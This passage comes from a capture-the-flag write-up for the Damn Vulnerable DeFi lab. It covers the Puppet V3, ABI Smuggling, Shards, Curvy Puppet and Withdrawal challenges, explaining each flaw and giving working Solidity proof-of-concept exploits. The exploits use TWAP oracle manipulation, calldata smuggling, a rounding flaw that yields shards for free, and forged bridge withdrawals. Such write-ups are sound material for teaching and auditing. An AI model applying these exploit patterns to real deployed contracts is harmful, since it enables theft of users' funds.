bytes32 creationCodeHash = keccak256(abi.encodePacked(type(SafeProxy).creationCode, uint256(uint160(address(singletonCopy)))));
// Manually compute the CREATE2 address
address target = address(uint160(uint256(keccak256(
abi.encodePacked(
hex"ff", // Constant value
address(proxyFactory), // Deployer address (proxyFactory)
salt, // Salt value
creationCodeHash // Keccak256 of creation code
)
))));
14. Puppet V3
Conditions:
The transaction must be completed within
block.timestamp - initialBlockTimestamp < 115
seconds.The token balance in the lending pool must be zero.
All
LENDING_POOL_INITIAL_TOKEN_BALANCE
tokens must be transferred to the recovery wallet.
Key Concepts:
Uniswap TWAP (Time-Weighted Average Price) oracle.
Solution:
Take note that the price retrieved by
calculateDepositOfWETHRequired
will be three times higher.
function calculateDepositOfWETHRequired(uint256 amount) public view returns (uint256) {
uint256 quote = _getOracleQuote(_toUint128(amount));
return quote * DEPOSIT_FACTOR;
}
The pool contains 100 WETH and 100 DVT tokens, with relatively low liquidity. The
PuppetV3Pool.sol
contract uses a 10-minute TWAP period to calculate the price of DVT tokens. This setup makes the contract vulnerable to price manipulation attacks without much cost! With this method, we can exchange the 110 DVT tokens we own for WETH, making DVT tokens incredibly cheap. The oracle calculates the current price based on price data from the past 10 minutes. However, because the TWAP period is short, by making large trades within this 10-minute window (such as swapping a large amount of DVT), the price can be significantly manipulated.Since TWAP is a delayed price mechanism, after manipulating the price, there is a brief time window (e.g., 110 seconds) for the attacker to take advantage of the lowered price and execute unfair loans. This window allows the attacker to exploit the price discrepancy before the TWAP price recovers to its normal level.
POC :
function test_puppetV3() public checkSolvedByPlayer {
address uniswapRouterAddress = 0xE592427A0AEce92De3Edee1F18E0157C05861564;
token.approve(address(uniswapRouterAddress), type(uint256).max);
uint256 quote1 = lendingPool.calculateDepositOfWETHRequired(LENDING_POOL_INITIAL_TOKEN_BALANCE);
console.log("beofre quote: ", quote1); //quote:3000000000000000000000000
ISwapRouter(uniswapRouterAddress).exactInputSingle(
ISwapRouter.ExactInputSingleParams(
address(token),
address(weth),
3000,
address(player),
block.timestamp,
PLAYER_INITIAL_TOKEN_BALANCE, // 110 DVT TOKENS
0,
0
)
);
vm.warp(block.timestamp + 114);
uint256 quote = lendingPool.calculateDepositOfWETHRequired(LENDING_POOL_INITIAL_TOKEN_BALANCE);
weth.approve(address(lendingPool), quote);
console.log("quote: ", quote);
lendingPool.borrow(LENDING_POOL_INITIAL_TOKEN_BALANCE);
token.transfer(recovery,LENDING_POOL_INITIAL_TOKEN_BALANCE);
}
15. ABI Smuggling
Conditions:
The vault balance must be zero.
All
VAULT_TOKEN_BALANCE
tokens must be transferred to the recovery wallet.
Key Concepts:
EVM Calldata composition.
Solution:
In
AuthorizedExecutor.execute()
,calldataload
is used to extract 4 bytes of the function selector from the providedactionData
starting at thecalldataOffset
(100 bytes) and then checks whether this ID is authorized usinggetActionId
.The
deployer
can executesweepFunds
with the selector0x85fb709d
, and theplayer
can executewithdraw
with the selector0xd9caed12
.The key is to bypass the
getActionId
check, which allows arbitrary execution offunctionCall
.
if (!permissions[getActionId(selector, msg.sender, target)]) {
revert NotAllowed();
}
return target.functionCall(actionData);
Prepare the payload. In the ABI encoding of the
execute()
function,actionData
is a dynamically sizedbytes
parameter.0x80
is an offset that points to the starting position of the actual data inactionData
. This offset is calculated relative to the start of the entire calldata. So in this case, it's0x80
.
// execute selector
0x1cff79cd
// vault.address (first 32 bytes)
0000000000000000000000001240fa2a84dd9157a0e76b5cfe98b1d52268b264
// offset -> This offset points to the starting position of actionData in calldata. 0x80 is 128 bytes (the second 32 bytes)
0000000000000000000000000000000000000000000000000000000000000000080
// This part has no practical use and is usually used to fill the fixed length position (the third 32 bytes)
0000000000000000000000000000000000000000000000000000000000000000
// withdraw() bypasses the check (the fourth 32 bytes)
**d9caed12**00000000000000000000000000000000000000000000000000000000
// This means the total length of actionData is 68 bytes (0x44 is 68 in hexadecimal) actionData (4 + 32 + 32)
000000000000000000000000000000000000000000000000000000000000000044
// sweepFunds calldata
85fb709d00000000000000000000000073030b99950fb19c6a813465e58a0bca5487fbea0000000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9b
POC :
function test_abiSmuggling() public checkSolvedByPlayer {
Exploit exploit = new Exploit(address(vault),address(token),recovery);
bytes memory payload = exploit.executeExploit();
address(vault).call(payload);
}
contract Exploit {
SelfAuthorizedVault public vault;
IERC20 public token;
address public player;
address public recovery;
// Event declarations for logging
event LogExecuteSelector(bytes executeSelector);
event LogTargetAddress(bytes target);
event LogDataOffset(bytes dataOffset);
event LogEmptyData(bytes emptyData);
event LogWithdrawSelectorPadded(bytes withdrawSelectorPadded);
event LogActionDataLength(uint actionDataLength);
event LogSweepFundsCalldata(bytes sweepFundsCalldata);
event LogCalldataPayload(bytes calldataPayload);
constructor(address _vault, address _token, address _recovery) {
vault = SelfAuthorizedVault(_vault);
token = IERC20(_token);
recovery = _recovery;
player = msg.sender;
}
function executeExploit() external returns (bytes memory) {
require(msg.sender == player, "Only player can execute exploit");
// `execute()` function selector
bytes4 executeSelector = vault.execute.selector;
// Construct the target contract address, which is the vault address, padded to 32 bytes
bytes memory target = abi.encodePacked(bytes12(0), address(vault));
// Construct the calldata start location offset
bytes memory dataOffset = abi.encodePacked(uint256(0x80)); // Offset for the start of the action data
// Construct the empty data filler (32 bytes of zeros)
bytes memory emptyData = abi.encodePacked(uint256(0));
// Manually define the `withdraw()` function selector as `d9caed12` followed by zeros
bytes memory withdrawSelectorPadded = abi.encodePacked(
bytes4(0xd9caed12), // Withdraw function selector
bytes28(0) // 28 zero bytes to fill the 32-byte slot
);
// Construct the calldata for the `sweepFunds()` function
bytes memory sweepFundsCalldata = abi.encodeWithSelector(
vault.sweepFunds.selector,
recovery,
token
);
// Manually set actionDataLength to 0x44 (68 bytes)
uint256 actionDataLengthValue = sweepFundsCalldata.length;
emit LogActionDataLength(actionDataLengthValue);
bytes memory actionDataLength = abi.encodePacked(uint256(actionDataLengthValue));
// Combine all parts to create the complete calldata payload
bytes memory calldataPayload = abi.encodePacked(
executeSelector, // 4 bytes
target, // 32 bytes
dataOffset, // 32 bytes
emptyData, // 32 bytes
withdrawSelectorPadded, // 32 bytes (starts at the 100th byte)
actionDataLength, // Length of actionData
sweepFundsCalldata // The actual calldata to `sweepFunds()`
);
// Emit the calldata payload for debugging
emit LogCalldataPayload(calldataPayload);
// Return the constructed calldata payload
return calldataPayload;
}
}
REF
ABI encoding of dynamic types (bytes, strings)
In the ABI Standard, dynamic types are encoded the following way:
The offset of the dynamic data
The length of the dynamic data
The actual value of the dynamic data.
Memory loc Data
0x00 0000000000000000000000000000000000000000000000000000000000000020 // The offset of the data (32 in decimal)
0x20 000000000000000000000000000000000000000000000000000000000000000d // The length of the data in bytes (13 in decimal)
0x40 48656c6c6f2c20776f726c642100000000000000000000000000000000000000 // actual value
If you hex decode 48656c6c6f2c20776f726c6421 you will get "Hello, world!".
16. Shards
Conditions:
The token balance in the staking contract must remain unchanged.
The number of missing tokens (
missingTokens
) in the marketplace must be greater than 0.01% ofinitialTokensInMarketplace
.All recovered funds must be transferred to the recovery wallet.
Only one transaction must be executed.
Key Concepts:
mulDivDown
rounds down to 0.
Solution:
The challenge starts with one NFT for sale, but the player doesn’t have DVT tokens. So how can the game continue?
While examining
fill()
, it is discovered thatwant.mulDivDown(_toDVT(offer.price, _currentRate), offer.totalShards)
calculates the number of shards a buyer can purchase based onwant
. However, the calculation in this function may experience underflows or calculation errors, especially with the combination ofmulDivDown
and_toDVT
. This algorithm causes the final result to be 0 whenwant
is a small value. This seems to be the crux of the challenge. Thus, we can acquire a significant number of NFT shards by paying 0 DVT tokens. The maximum value ofwant
that can result in a 0-price purchase is 133.Using the 0-cost NFT shards, you can use
cancel()
to return the shards to the marketplace, and at this point, you will receive DVT tokens.I executed a Proof of Concept (POC) 10,001 times in a local environment without failing. If it fails in a private fork environment, the algorithm can be adjusted accordingly.
function fill(uint64 offerId, uint256 want) external returns (uint256 purchaseIndex) {
paymentToken.transferFrom(
msg.sender, address(this), want.mulDivDown(_toDVT(offer.price, _currentRate), offer.totalShards)
);
if (offer.stock == 0) _closeOffer(offerId);
}
function _toDVT(uint256 _value, uint256 _rate) private pure returns (uint256) {
return _value.mulDivDown(_rate, 1e6);
}
POC :
function test_shards() public checkSolvedByPlayer {
Exploit exploit = new Exploit(marketplace,token,recovery);
exploit.attack(1);
console.log("recovery balance",token.balanceOf(address(recovery)));
}
contract Exploit {
ShardsNFTMarketplace public marketplace;
DamnValuableToken public token;
address recovery;
constructor(ShardsNFTMarketplace _marketplace, DamnValuableToken _token, address _recovery) {
marketplace = _marketplace;
token = _token;
recovery = _recovery;
}
function attack(uint64 offerId) external {
uint256 wantShards = 100; // Fill 100 shards per call
// Loop 10 times to execute fill(1, 100)
for (uint256 i = 0; i < 10001; i++) {
marketplace.fill(offerId, wantShards);
marketplace.cancel(1,i);
}
token.transfer(recovery,token.balanceOf(address(this)));
}
}
17. Curvy Puppet
Conditions:
All user positions must be liquidated.
The Treasury still holds LP tokens.
The Treasury still holds 7,500 DVT.
The player's DVT, stETH, and LP balances must be 0.
Key Concepts:
Read-only reentrancy.
Solution:
Seeing Curve immediately brings to mind the classic read-only reentrancy attack. However, it's not that simple because the challenge only provides 200 ETH and 6.5 LP, which is not enough to manipulate the pool prices on the Mainnet.
I was stuck for two nights, testing multiple methods that all failed. I was unable to manipulate the liquidation value. To liquidate, the condition
if (collateralValue >= borrowValue) revert HealthyPosition(borrowValue, collateralValue);
must be satisfied.Finally, I succeeded by using two flashloans to complete the challenge.
The key is that Balancer allows borrowing WETH without fees. This allowed me to calculate a sufficient amount for liquidation while having enough funds to repay the flashloan.
18. Withdrawal
Conditions:
The L1 Token Bridge must retain at least 99% of the tokens.
The player's token balance must be 0.
The
counter()
value of the L1 Gateway must be greater than or equal toWITHDRAWALS_AMOUNT
, indicating that a sufficient number of withdrawals have been completed.The following four withdrawal IDs must all be marked as completed:
hex"eaebef7f15fdaa66ecd4533eefea23a183ced29967ea67bc4219b0f1f8b0d3ba" (first withdrawal)
hex"0b130175aeb6130c81839d7ad4f580cd18931caf177793cd3bab95b8cbb8de60" (second withdrawal)
hex"baee8dea6b24d327bc9fcd7ce867990427b9d6f48a92f4b331514ea688909015" (third withdrawal)
hex"9a8dbccb6171dc54bfcff6471f4194716688619305b6ededc54108ec35b39b09" (fourth withdrawal)
Key Concepts:
Cross-chain transactions L2 -> L1:
L2Handler.sendMessage
: On L2,L2Handler
sends the cross-chain message.L1Forwarder.forwardMessage
: On L1,L1Forwarder
forwards the message.L1Gateway.finalizeWithdrawal
:L1Gateway
finalizes the withdrawal, completing the cross-chain operation.TokenBridge.executeTokenWithdrawal
:TokenBridge
performs the token transfer, sending the tokens to the recipient.
Calldata decoding
Solution:
The challenge provides
withdrawals.json
, which contains the logs of fourMessageStored
events sent from L2 to L1.The event signature of
MessageStored
is0x43738d03
, obtained fromkeccak256("MessageStored(bytes32,uint256,address,address,uint256,bytes)")
.
Next, decode the
data
field to understand the operations inside.
eaebef7f15fdaa66ecd4533eefea23a183ced29967ea67bc4219b0f1f8b0d3ba // id
0000000000000000000000000000000000000000000000000000000066729b63 // timestamp
0000000000000000000000000000000000000000000000000000000000000060 // data.offset
0000000000000000000000000000000000000000000000000000000000000104 // data.length
01210a38 // L1Forwarder.forwardMessage.selector
0000000000000000000000000000000000000000000000000000000000000000 // L2Handler.nonce
000000000000000000000000328809bc894f92807417d2dad6b7c998c1afdac6 // l2Sender
0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd50 // target (l1TokenBridge)
0000000000000000000000000000000000000000000000000000000000000080 // message.offset
0000000000000000000000000000000000000000000000000000000000000044 // message.length
81191e51 // TokenBridge.executeTokenWithdrawal.selector
000000000000000000000000328809bc894f92807417d2dad6b7c998c1afdac6 // receiver
0000000000000000000000000000000000000000000000008ac7230489e80000 // amount (10e18)
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000
If the caller of
L1Gateway.finalizeWithdrawal
is an Operator, the contract does not check the MerkleProof. Since the player has the Operator role, it is possible to forge requests and withdraw tokens from the token bridge. We can first rescue 900,000 tokens.One of the conditions for completing the challenge is to finalize the status of the four transactions in
withdrawals.json
, so we need to send these four requests usingL1Gateway.finalizeWithdrawal
. Although we rescued 900,000 tokens beforehand, and the third request attempts to transfer 999,000 tokens (which will fail), this failure does not trigger a status check, so the entire transaction won't be reverted.Lastly, return the rescued tokens to the
tokenBridge
.
POC :
function test_withdrawal() public checkSolvedByPlayer {
// fake withdrawal operation and obtain tokens
bytes memory message = abi.encodeCall(
L1Forwarder.forwardMessage,
(
0, // nonce
address(0), //
address(l1TokenBridge), // target
abi.encodeCall( // message
TokenBridge.executeTokenWithdrawal,
(
player, // deployer receiver
900_000e18 //rescue 900_000e18
)
)
)
);
l1Gateway.finalizeWithdrawal(
0, // nonce
l2Handler, // pretend l2Handler
address(l1Forwarder), // target is l1Forwarder
block.timestamp - 7 days, // to pass 7 days waiting peroid
message,
new bytes32[](0)
);
// Perform finalizedWithdrawals due to we are operator, don't need to provide merkleproof.
vm.warp(1718786915 + 8 days);
// first finalizeWithdrawal
l1Gateway.finalizeWithdrawal(
0, // nonce 0
0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16, // l2Sender
0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5, // target
1718786915, // timestamp
hex"01210a380000000000000000000000000000000000000000000000000000000000000000000000000000000000000000328809bc894f92807417d2dad6b7c998c1afdac60000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000004481191e51000000000000000000000000328809bc894f92807417d2dad6b7c998c1afdac60000000000000000000000000000000000000000000000008ac7230489e8000000000000000000000000000000000000000000000000000000000000", // message
new bytes32[](0) // Merkle proof
);
// second finalizeWithdrawal
l1Gateway.finalizeWithdrawal(
1, // nonce 1
0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16, // l2Sender
0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5, // target
1718786965, // timestamp
hex"01210a3800000000000000000000000000000000000000000000000000000000000000010000000000000000000000001d96f2f6bef1202e4ce1ff6dad0c2cb002861d3e0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000004481191e510000000000000000000000001d96f2f6bef1202e4ce1ff6dad0c2cb002861d3e0000000000000000000000000000000000000000000000008ac7230489e8000000000000000000000000000000000000000000000000000000000000", // message
new bytes32[](0) // Merkle proof
);
// third finalizeWithdrawal
l1Gateway.finalizeWithdrawal(
2, // nonce 2
0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16, // l2Sender
0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5, // target
1718787050, // timestamp
hex"01210a380000000000000000000000000000000000000000000000000000000000000002000000000000000000000000ea475d60c118d7058bef4bdd9c32ba51139a74e00000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000004481191e51000000000000000000000000ea475d60c118d7058bef4bdd9c32ba51139a74e000000000000000000000000000000000000000000000d38be6051f27c260000000000000000000000000000000000000000000000000000000000000", // message
new bytes32[](0) // Merkle proof
);
// fourth finalizeWithdrawal
l1Gateway.finalizeWithdrawal(
3, // nonce 3
0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16, // l2Sender
0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5, // target
1718787127, // timestamp
hex"01210a380000000000000000000000000000000000000000000000000000000000000003000000000000000000000000671d2ba5bf3c160a568aae17de26b51390d6bd5b0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000004481191e51000000000000000000000000671d2ba5bf3c160a568aae17de26b51390d6bd5b0000000000000000000000000000000000000000000000008ac7230489e8000000000000000000000000000000000000000000000000000000000000", // message
new bytes32[](0) // Merkle proof
);
token.transfer(address(l1TokenBridge),900_000e18);
console.log("token.balanceOf(address(l1TokenBridge)",token.balanceOf(address(l1TokenBridge)));
}